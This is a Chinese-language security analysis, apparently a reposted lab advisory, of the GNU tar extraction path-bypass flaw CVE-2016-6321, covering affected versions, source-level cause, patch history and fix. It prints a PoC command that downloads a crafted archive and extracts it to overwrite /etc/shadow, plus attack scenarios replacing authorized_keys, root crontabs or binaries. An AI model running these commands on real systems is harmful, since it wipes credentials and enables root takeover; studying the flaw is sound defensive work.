IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    GNU tar 解压路径绕过漏洞(CVE-2016-6321) 分析

    kk发表于 2016-11-10 05:41:55
    love 0

    Author: LG(知道创宇404安全实验室) Date: 2016-11-09

    0x00 漏洞概述


    1.漏洞简介

    GNU tar文档管理命令是Linux系统下常用的一个打包、压缩的命令。经 CSS(FSC1V Cyber Security Services)团队的研究员 Harry Sintonen 研究发现,tar 命令在提取路径时能够被绕过,在某些情况下导致文件被覆盖。在一些特定的场景下,利用此漏洞可导致远程代码执行。

    2.漏洞影响

    受害者使用tar命令解压由攻击者构造的特殊 tar 包时,tar 包不会解压到受害者制定的目标路径,而是被解压到攻击者指定的目录位置。

    3.影响范围

    从GNU tar 1.14 to 1.29 (包含1.29) 影响包括 Red Hat,Alphine Linux,Red Star OS以及其他所有使用 GNU tar 的 Linux 系统。

    0x01 漏洞详情


    1. 漏洞检测

    方法一:

    漏洞发现者给出了示例 PoC,用户可用其自检。 (该方法会覆盖用户帐号密码,导致 root 用户密码为空,建议使用实验环境测试或者采用方法二)

    curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd
    cat etc/shadow

    示例poc:

    example_poc

    示例poc中含有一个文件shadow,路径为etc/motd/../etc/shadow。在根目录下解压该包,由于漏洞的影响,../前面的内容给去掉了,路径文件名只剩下etc/shadow,原有etc/shadow文件就被其覆盖了。

     

    方法二:

    访问https://sintonen.fi/advisories/tar-poc.tar下载测试tar包后在提取前重命名 tar 包内的 shadow 文件名,如重命名为 test。然后运行如下命令:

    sudo -s tar -C / -xvf tar-poc.tar  etc/motd

    查看 etc 目录下,若生成了 test 文件,证明该漏洞存在。

    2.具体攻击场景

    以下为漏洞发现者提供的实际攻击场景

    1.攻击者可以用这种手段诱使用户替换一些重要的文件,例如 .ssh/authorized_keys , .bashrc , .bash_logout , .profile, .subversion或 .anyconnect

    user@host:~$ dpkg --fsys-tarfile evil.deb | tar -xf - \
    --wildcards 'blurf*'
    tar: Removing leading `blurf/../' from member names
    user@host:~$ cat .ssh/authorized_keys
    ssh-rsa AAAAB3...nU= mrrobot@fsociety
    user@host:~$

    2.有一些从 web 应用或者其它类似来源自动解压文件的脚本,这些脚本一般会以 setuid root 权限执行,通常这类脚本的解压命令如下:

    #tar -C / -zxf /tmp/tmp.tgz etc/application var/chroot/application/etc

    在这种情况下,攻击者可以重写/var/spoon/cron/crontabs/root以获取 root 身份的代码执行能力; 也可以将可能被 root 身份执行的二进制文件替换成一个有后门的版本; 或者投放一个 setuid root 的二进制文件,等待被管理员执行,使攻击者有机会获取 root 权限。

    3.以 root 身份执行解压命令也可能被攻击 。例如上文中提到覆写/etc/shadow的例子

    tar1

    如果--exclude 规则与--anchored 选项同时使用,那么即使手动加了--exclude 规则也没有用,例如:

    tar -C / -xvf tar-poc.tar --anchored --exclude etc/shadow

    tar2

    在两种情况下,攻击者都成功地把/etc/test替换成了任意内容。

    不过,在实际利用这个漏洞时,攻击者需要首先知道一些特定的前导信息,例如解压命令执行时实际在命令行下指定的路径名,毕竟在构造攻击 tar 包时 “../” 序列之前的路径前缀需要符合 tar 命令中所输入的路径,攻击才能奏效。

    3.漏洞分析

    根据漏洞发现者的分析,在lib/paxnames.c文件中,有一个safernamesuffix()函数,这个函数取代了1.13版本的检查机制。

    ....
    char *safer_name_suffix (char const *file_name, bool link_target,bool absolute_names)
    {
        char const *p;
        if (absolute_names)
            p = file_name;
        else
        {
            /* Skip file system prefixes, leading file name components that contain"..", and leading slashes.  */
            size_t prefix_len = FILE_SYSTEM_PREFIX_LEN (file_name);
            for (p = file_name + prefix_len; *p; )
            {
                if (p[0] == '.' && p[1] == '.' && (ISSLASH (p[2]) || !p[2]))
                    prefix_len = p + 2 - file_name;
                do
                {
                    char c = *p++;
                    if (ISSLASH (c))
                        break;
                }while (*p);
            }
            for (p = file_name + prefix_len; ISSLASH (*p); p++)
                continue;
            prefix_len = p - file_name;
            if (prefix_len)
            {
                const char *prefix;
                if (hash_string_insert_prefix (&prefix_table[link_target], file_name,prefix_len, &prefix))
                {
                    static char const *const diagnostic[] =
                    {
                        N_("Removing leading `%s' from member names"),
                        N_("Removing leading `%s' from hard link targets")
                    };
                    WARN ((0, 0, _(diagnostic[link_target]), prefix));
                }
            }
        }
        ….
    }

    从代码注释可以看出,如果absolute_names变量为1,将 filename 赋值给 p 继续.反之若为 0 则将文件名中文件系统的前缀给去掉,并且也会对 filename 进行一些安全检查 。 因此,当 tar 解包时若文件名中包含“../”, safernamesuffix 函数会删除"../"及其之前的部分,将其与解压目录路径变为相对关系。这么做的目的是在兼顾文件名的安全性时保证文件的提取,而不是之前版本中改动的跳过含有恶意文件名的文件。在经过长达13年的应用后,这个漏洞终于被 Harry Sintonen 发现并公布出来。

    于是,笔者研究了这个漏洞相关的发展历史。 tar所有版本下载链接 发现:

    • tar通过 src/extarct.c 提取文件
    • extract.c Revision 1.35 前未加入安全检测,可以通过“../”字符串直接绕过解压路径问题,并将文件写到任意位置
    • extract.c Revision 1.35 加入安全检测,会警告压缩文件文件名中存在“..”字符串,并且会跳过不去处理这些文件
    • extract.c Revision 1.47引入 safernamesuffix 函数 - tar 1.16版本后,extract.c文件代码重构,在lib/paxnames.c 文件中定义 safernamesuffix 函数

    然后笔者继续深入,通过tar官网extract.c文件更新列表对比,从源代码分析 tar 的安全检测行为。

    1999/12/13 commit 前后对比

    Revision 1.35官方tag中有一条: ++(extractarchive): By default, warn about ".." in member names, and skip them.++ 即Revision 1.35加入了(extractarchive):默认情况下,在成员名称中警告“..”,并跳过它们 初版修复

    上图中,绿色代码区的功能就填补了之前安全检测的空白。它首先遍历 CURRENTFILENAME,如果存在".."就会警告"Member name contains'..'",然后跳过这些文件,不去处理它们。而左边的灰色空白区域表明之前的版本缺少安全检测,"../"字符串就能绕过解压路径将文件写到任意位置。

    2003/07/05 commit 前后对比

    在Revision 1.47官方 tag 中: ++(extractarchive): Use safername_suffix rather than rolling our own.++ 这就是漏洞初始出现的位置了。

    漏洞之处

    通过代码对比我们可以看到,更新的版本使用 safernamesuffix 函数来替代了开发者自己写的规则。

    4.补丁分析

    官方补丁地址 GNU tar修复了该漏洞,将安全检测机制重新替换回了 extract.c Revision 1.35的规则。

    补丁

    0x02 修复方案


    更新补丁

    http://git.savannah.gnu.org/cgit/tar.git/commit/?id=7340f67b9860ea0531c1450e5aa261c50f67165d

    0x03 参考


    https://www.seebug.org/vuldb/ssvid-92524

    https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=842339

    https://sintonen.fi/advisories/tar-extract-pathname-bypass.proper.txt

    https://sintonen.fi/advisories/tar-extract-pathname-bypass.patch

    https://www.gnu.org/software/tar/

    http://cvs.savannah.gnu.org/viewvc/tar/tar/src/extract.c?view=log&pathrev=release115_1#rev1.47



沪ICP备19023445号-2号
友情链接